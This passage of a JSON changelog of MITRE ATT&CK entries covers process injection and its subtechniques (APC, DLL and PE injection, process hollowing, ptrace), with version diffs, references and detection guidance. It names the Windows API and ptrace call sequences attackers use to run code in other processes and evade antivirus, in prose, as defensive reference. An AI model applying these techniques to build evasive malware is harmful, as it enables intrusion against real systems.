{\"root['x_mitre_data_sources'][0]\": \"File: File Creation\"}}", "previous_version": "2.1", "version_change": "2.1 \u2192 2.2", "changelog_mitigations": { "shared": [ "M1017: User Training", "M1021: Restrict Web-Based Content", "M1031: Network Intrusion Prevention", "M1049: Antivirus/Antimalware", "M1054: Software Configuration" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0015: Application Log (Application Log Content)", "DS0022: File (File Creation)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:47.843000+00:00", "modified": "2021-10-18 12:30:14.852000+00:00", "name": "Process Injection", "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1055", "external_id": "T1055" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/640.html", "external_id": "CAPEC-640" }, { "source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" }, { "source_name": "ArtOfMemoryForensics", "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017." }, { "source_name": "GNU Acct", "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", "url": "https://www.gnu.org/software/acct/" }, { "source_name": "RHEL auditd", "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing" }, { "source_name": "Chokepoint preload rootkits", "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html" }, { "source_name": "Microsoft Sysmon v6 May 2017", "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Anastasios Pingios", "Christiaan Beek, @ChristiaanBeek", "Ryan Becwar" ], "x_mitre_data_sources": [ "Process: Process Modification", "Module: Module Load", "Process: OS API Execution", "Process: Process Access", "File: File Modification", "File: File Metadata" ], "x_mitre_defense_bypassed": [ "Application control", "Anti-virus" ], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 12:30:14.852000+00:00\", \"old_value\": \"2021-02-09 15:43:50.029000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Process: Process Modification\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1040: Behavior Prevention on Endpoint" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0009: Process (Process Modification)", "DS0011: Module (Module Load)", "DS0022: File (File Metadata)", "DS0022: File (File Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-14 01:29:43.786000+00:00", "modified": "2021-10-18 12:23:46.476000+00:00", "name": "Asynchronous Procedure Call", "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1055/004", "external_id": "T1055.004" }, { "source_name": "Microsoft APC", "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx" }, { "source_name": "CyberBit Early Bird Apr 2018", "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.", "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/" }, { "source_name": "ENSIL AtomBombing Oct 2016", "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.", "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows" }, { "source_name": "Microsoft Atom Table", "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx" }, { "source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Modification", "Process: OS API Execution", "Process: Process Access" ], "x_mitre_defense_bypassed": [ "Application control", "Anti-virus" ], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 12:23:46.476000+00:00\", \"old_value\": \"2020-11-10 18:29:30.961000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Process: Process Modification\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1040: Behavior Prevention on Endpoint" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0009: Process (Process Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-14 01:26:08.145000+00:00", "modified": "2021-10-18 12:20:00.382000+00:00", "name": "Dynamic-link Library Injection", "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1055/001", "external_id": "T1055.001" }, { "source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" }, { "source_name": "Elastic HuntingNMemory June 2017", "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/hunting-memory" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Modification", "Module: Module Load", "Process: OS API Execution", "Process: Process Access" ], "x_mitre_defense_bypassed": [ "Application control", "Anti-virus" ], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 12:20:00.382000+00:00\", \"old_value\": \"2020-11-10 18:29:30.879000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Process: Process Modification\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1040: Behavior Prevention on Endpoint" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0009: Process (Process Modification)", "DS0011: Module (Module Load)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-14 01:27:31.344000+00:00", "modified": "2021-10-18 12:21:11.178000+00:00", "name": "Portable Executable Injection", "description": "Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1055/002", "external_id": "T1055.002" }, { "source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Modification", "Process: OS API Execution", "Process: Process Access" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Application control" ], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 12:21:11.178000+00:00\", \"old_value\": \"2020-11-10 18:29:30.882000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Process: Process Modification\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1040: Behavior Prevention on Endpoint" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0009: Process (Process Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-14 17:21:54.470000+00:00", "modified": "2021-10-18 12:30:14.640000+00:00", "name": "Process Hollowing", "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1055/012", "external_id": "T1055.012" }, { "source_name": "Leitch Hollowing", "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.", "url": "http://www.autosectools.com/process-hollowing.pdf" }, { "source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Modification", "Process: OS API Execution", "Process: Process Access" ], "x_mitre_defense_bypassed": [ "Application control", "Anti-virus" ], "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 12:30:14.640000+00:00\", \"old_value\": \"2020-11-10 18:29:31.031000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Process: Process Modification\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1040: Behavior Prevention on Endpoint" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Access)", "DS0009: Process (Process Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-14 01:33:19.065000+00:00", "modified": "2021-10-18 12:26:31.766000+00:00", "name": "Ptrace System Calls", "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1055/008", "external_id": "T1055.008" }, { "source_name": "PTRACE man", "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.", "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html" }, { "source_name": "Medium Ptrace JUL 2018", "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.", "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be" }, { "source_name": "BH Linux Inject", "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.", "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf" }, { "source_name": "ArtOfMemoryForensics", "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017." }, { "source_name": "GNU Acct", "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", "url": "https://www.gnu.org/software/acct/" }, { "source_name": "RHEL auditd", "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing" }, { "source_name": "Chokepoint preload rootkits", "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Modification", "Process: OS API Execution", "Process: Process Access" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Application control" ], "x_mitre_detection": "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 12:26:31.766000+00:00\", \"old_value\": \"2020-06-20 22:24:56.734000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \\n\\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \\n\\nPtrace system call injection may not be possible targeting processes with high-privileges, and on some system those that are non-child processes.(Citation: BH Linux Inject) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \\n \\n-Ptrace system call injection may not be possible targeting processes with high-privileges, and on some system those that are non-child processes.(Citation: BH Linux Inject) \\n+Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \\n \\n Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_data_sources'][0]\": \"Process: Process Modification\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may inject malicious code into processes via ptrt1Adversaries may inject malicious code into processes via ptr
>ace (process trace) system calls in order to evade process-b>ace (process trace) system calls in order to evade process-b
>ased defenses as well as possibly elevate privileges. Ptrace>ased defenses as well as possibly elevate privileges. Ptrace
> system call injection is a method of executing arbitrary co> system call injection is a method of executing arbitrary co
>de in the address space of a separate live process.   Ptrace>de in the address space of a separate live process.   Ptrace
> system call injection involves attaching to and modifying a> system call injection involves attaching to and modifying a
> running process. The ptrace system call enables a debugging> running process. The ptrace system call enables a debugging
> process to observe and control another process (and each in> process to observe and control another process (and each in
>dividual thread), including changing memory and register val>dividual thread), including changing memory and register val
>ues.(Citation: PTRACE man) Ptrace system call injection is c>ues.(Citation: PTRACE man) Ptrace system call injection is c
>ommonly performed by writing arbitrary code into a running p>ommonly performed by writing arbitrary code into a running p
>rocess (ex: <code>malloc</code>) then invoking that memory w>rocess (ex: <code>malloc</code>) then invoking that memory w
>ith <code>PTRACE_SETREGS</code> to set the register containi>ith <code>PTRACE_SETREGS</code> to set the register containi
>ng the next instruction to execute. Ptrace system call injec>ng the next instruction to execute. Ptrace system call injec
>tion can also be done with <code>PTRACE_POKETEXT</code>/<cod>tion can also be done with <code>PTRACE_POKETEXT</code>/<cod
>e>PTRACE_POKEDATA</code>, which copy data to a specific addr>e>PTRACE_POKEDATA</code>, which copy data to a specific addr
>ess in the target processes\u2019 memory (ex: the current address>ess in the target processes\u2019 memory (ex: the current address
> of the next instruction). (Citation: PTRACE man)(Citation: > of the next instruction). (Citation: PTRACE man)(Citation: 
>Medium Ptrace JUL 2018)   Ptrace system call injection may n>Medium Ptrace JUL 2018)   Ptrace system call injection may n
>ot be possible targeting processes with high-privileges, and>ot be possible targeting processes that are non-child proces
> on some system those that are non-child processes.(Citation>ses and/or have higher-privileges.(Citation: BH Linux Inject
>: BH Linux Inject)   Running code in the context of another >)   Running code in the context of another process may allow
>process may allow access to the process's memory, system/net> access to the process's memory, system/network resources, a
>work resources, and possibly elevated privileges. Execution >nd possibly elevated privileges. Execution via ptrace system
>via ptrace system call injection may also evade detection fr> call injection may also evade detection from security produ
